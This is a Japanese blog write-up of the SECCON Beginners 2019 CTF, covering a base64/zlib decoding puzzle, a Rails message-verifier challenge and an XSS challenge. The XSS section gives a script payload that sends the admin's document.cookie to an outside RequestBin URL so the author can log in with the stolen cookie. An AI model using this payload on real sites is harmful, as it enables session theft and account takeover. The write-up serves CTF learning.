友達のお誘いでSECCON beginners 2019をやってみました。
全然できなかったけど、楽しかったね🌟
[warmup] So Tired
encripted.txt
をみてみるとbase64が、それをbase64でデコードしてみるとzlibファイルが出てくる。解凍してみるとまたbase64が。
色々察したので、こんなシェルスクリプトを書いて
cp a.txt b.txt
for i in `seq 0 100`
do
base64 -D a.txt > a.zip
zlib_decompress a.zip a.txt
done
何回か繰り返してエラー履いたら(base64じゃ無くなったら)あとは手動で微調整。そしたらフラグ出てきた。私の初フラグ。
ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}
katsudon
Railsのmessage verifierについて調べてみるとこんな記事が
RailsのMessage Verifiersは何をしているのか
クーポンの--
前半部分がデータらしいので、とりあえずbase64デコードしてみることに。そしたらなんとフラグが。簡単スギィ!
ctf4b{K33P_Y0UR_53CR37_K3Y_B453}
...って思ったら出題ミスみたいですね
himitsu
「書いたページを管理者に読んでもらう」という構造上XSSなのは間違いなさそう。twigというテンプレートエンジンを使っているが自動でエスケープしてしまうが、articleのbodyのみrawが入っているのでここに注目した。bodyはhtmlspecialcharsを通しているので、そのままではXSSできない。唯一htmlspecialcharsの後から埋め込まれる他の記事のタイトルを埋め込む部分にスクリプトを埋め込むことを試してみた。
しかし、記事を作成する時点で、参照する記事のタイトルに<>'"
が含まれているとエラーになってしまう。最初は<>'"
を使わないXSSの手法を模索したがうまく行かず。そこで、記事を作成する時点でバリデーションが行われることに注目した。つまり、記事を作成した時点でタイトルに<>'"
が含まれていなくても、後からタイトルを変更すれば良いということだ。ということで以下の手順で解決
- スクリプトを含むタイトルとusername, 2分後くらいの時間からmd5コードを生成
- 新しいarticleで1.で作ったmd5を[##]で囲って入れる
- もう一つ新しいarticleを作成。タイトルは1.のスクリプト、生成時間は1.で指定したもの。
- 「秘密を共有する」でadminにスクリプトを実行させる
- cookieが取得できたらそれ利用してログインする。article一覧の記事にflagがあるはず
<script>var xhr = new XMLHttpRequest();xhr.open('post', 'https://requestbin.fullcontact.com/{id}');xhr.send(document.cookie);</script>
RequestBinなるものを知らず、チームメイトに教えてもらった。こりゃ便利ね。
ということで解決しました
ctf4b{simple_xss_just_do_it_haha_haha}
adminでは記事を作成できないようになっていたはずなのですが、あとでサイトを訪れたらadminで記事を作成している猛者がいらっしゃいましたね。
まとめ
自分の興味的にWeb問題に強くなろうと決意しました。なので、最初のsql injectionの問題が解けなかったのが残念でしょうがない。